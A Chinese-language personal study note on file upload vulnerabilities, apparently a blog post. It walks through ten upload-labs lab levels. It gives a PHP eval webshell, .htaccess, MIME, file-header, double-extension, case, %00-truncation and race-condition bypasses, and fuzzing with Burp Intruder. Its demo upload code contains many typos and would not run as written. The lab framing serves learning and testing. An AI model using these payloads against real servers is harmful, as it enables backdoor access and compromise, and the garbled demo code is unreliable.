本文为个人学习记录,由于我也是初学者可能会存在错误,如有错误请指正
本文主要是文件上传漏洞原理分析、利用入门
前置知识
文件上传功能主要有自开发
、编辑器
和框架
三种实现方式,利用上传漏洞上传后门文件达到getshell目的
自开发文件上传
涉及到的变量以及函数:$_FILE[]
全局变量存储的是文件数组
文件涉及到的下标有name
、type
、size
、tmp_name
、error
move_uploaded_file(临时文件名,服务器位置)
用于移动文件到服务器的指定位置
代码逻辑:
html (<input type="file" name="file">
) 将文件赋值给file
变量,读取$_FILE['file']['name']
中的扩展名部分,再次读取$_FILE['file']['type']
类型以确保上传的文件类型在要求之内,之后在使用move_uploaded_file
存放文件到指定位置
Demo示例:
HTML 负责UI
<form action="" methon=post>
<input type="file" name="f" onchange=="CheckFileExt(this.value)"/>
<input type="submit" value="上传文件">
</form>
JS 负责文件格式校验
function CheckFileExt(filename){
var enable = false;
var ext = ['png','gif','jpg'];
var index - filename.lastIndexOf(".");
var ext = filename.substr(index + 1);
for(i = 0;i<ext.length;i++){
if(ext == exts[i]){
enable = true;
alter("文件后缀正确");
break;
}
}
if(!enable){
alter("文件后缀错误")
location.reload(true);
}
}
PHP 负责扩展名校验以及文件上传
$name = $_FIlE['f']['name'];
$type = $_FIlE['f']['type'];
$size = $_FIlE['f']['size'];
$tmpName = $_FIlE['f']['tmp_name'];
$error = $_FIlE['f']['error'];
$allowType = array('image/png','image/jpg','image/gif')
if(in_array($type,$allowType)){
if(move_uploaded_file($tmpName,'upload/'.$name)){
echo '<script>alter(上传成功)</script>';
}else{
echo '<script>alter(上传失败)</script>';
}
}else{
echo '非法后缀文件';
}
编辑器文件上传
相当于一个插件,使用成熟的编辑器,如ueditor
等编辑器,针对于这种主要是查看编辑器是否包含漏洞
框架文件上传
使用ThinkPhp
这种框架进行文件上传代码书写,和编辑器差不多,主要是查看框架是否包含漏洞
功能分析
文件上传功能主要检测:文件后缀
、`MIME类型` 、文件头
以及文件内容
其中文件后缀
、`MIME类型`和文件头
主要用于文件类型识别,而文件内容
主要用于后门识别;文件类型识别容易绕过,后门识别绕过较难。
注意:若无文件解析漏洞,文件解析格式是一对一的(jpg不能解析成php)
upload-labs-docker 靶场
第一关
F12 查看开发者工具,发现第一关使用的是JS验证
使用burp suit拦截上传图片数据包,修改请求体中的图片名为test.php
图片内容为<?php eval($_POST["pass"]);?>
,然后进行放行
访问http://192.168.125.132:30001/upload/test.php
,使用哥斯拉进行后门连接即可
第二关
根据题提示是利用文件解析漏洞,使用中间件Apache
配置文件.htaccess
进行重设文件解析
.htaccess
文件是一个用于配置 Apache Web 服务器的配置文件,它主要在基于 Apache 的服务器环境中起作用。
使用burp suit拦截上传图片数据包,修改body中的图片名为.htaccess
图片内容为AddType application/x-httpd-php .png
,然后进行放行。AddType 可以将给定的文件扩展名映射到指定的内容类型
使用burp suit再次拦截上传图片数据包,修改body中的图片内容为<?php eval($_POST["pass"]);?>
,然后进行放行。使用哥斯拉进行后门连接。
第三关
根据题提示是MIME类型检测,使用burp suit拦截上传图片的数据包,MIME信息修改为Content-Type: image/jpeg
,修改body中的图片名为test.php
图片内容为<?php eval($_POST["pass"]);?>
,然后进行放行。使用哥斯拉进行后门连接。
第四关
根据题提示是文件头检测,使用burp suit拦截上传图片的数据包,修改请求体中的图片名为test.php
图片内容为GIF89a <?php eval($_POST["pass"])?>
,然后进行放行。也可修改为其他类型的文件头 使用hax模式编辑即可。
第五关
根据题提示是php代码审计问题,可以看到会将黑名单中的类型都替换为空串,可以使其替换完之后为php
类型,进行绕过,修改请求体中的图片名为test.pphphp
图片内容为<?php eval($_POST["pass"])?>
,然后进行放行。
第六关
根据题提示是php代码审计问题,可以看到会将黑名单中的类型都替换为空格,与上题不同的是str_replace
函数区分大小写,可以是使其后缀名为phP
绕过
第七关
PHP %00截断
php版本小于5.3.4并magic_qutes_gpc=off
解析漏洞会将1.txt\000.jpg
解释为1.txt
利用这个漏洞修改请求体中的POST提交地址加上test.php%00
图片内容为<?php eval($_POST["pass"])?>
,然后进行放行。有提交地址在地址上边截断,无提交地址在图片名处截断
第八关
PHP %00截断
利用这个漏洞修改body中的上传路径名加上%00
需要进行URL转码 图片内容为<?php eval($_POST["pass"])?>
,然后进行放行。
第九关
文件类型黑名单
$blacklist = array("asp","aspx","php","jsp","htaccess")
使用fuzzdb
项目中的file-upload
文件夹中的php格式
使用burp suit拦截上传图片数据包,修改body中的图片内容为<?php eval($_POST["pass"]);?>
,然后将数据包放置到Inruder
中,使用alt-extensions-php.txt
字典拼接文件后缀进行攻击,分析响应信息,查看正确上传的请求,php使用哥斯拉进行后门连接。
第十关
根据题目提示主要考察条件竞争,第十关的图片校验是先上传后执行图片类型判断,可以利用时间差让上传的后门自动创建新的后门
使用burp suit再次拦截上传图片数据包,修改请求体中的图片名修改为test.php
,图片内容为<?php fputs(fopen('test.php','w'),'<?php eval($_POST["pass"]);?>');?>
,将数据包放置到Inruder
中
Payload类型修改为null paylaod
,无限重复发送
访问http://192.168.125.132:30010/upload/test.php
,哥斯拉链接后门
没有回复内容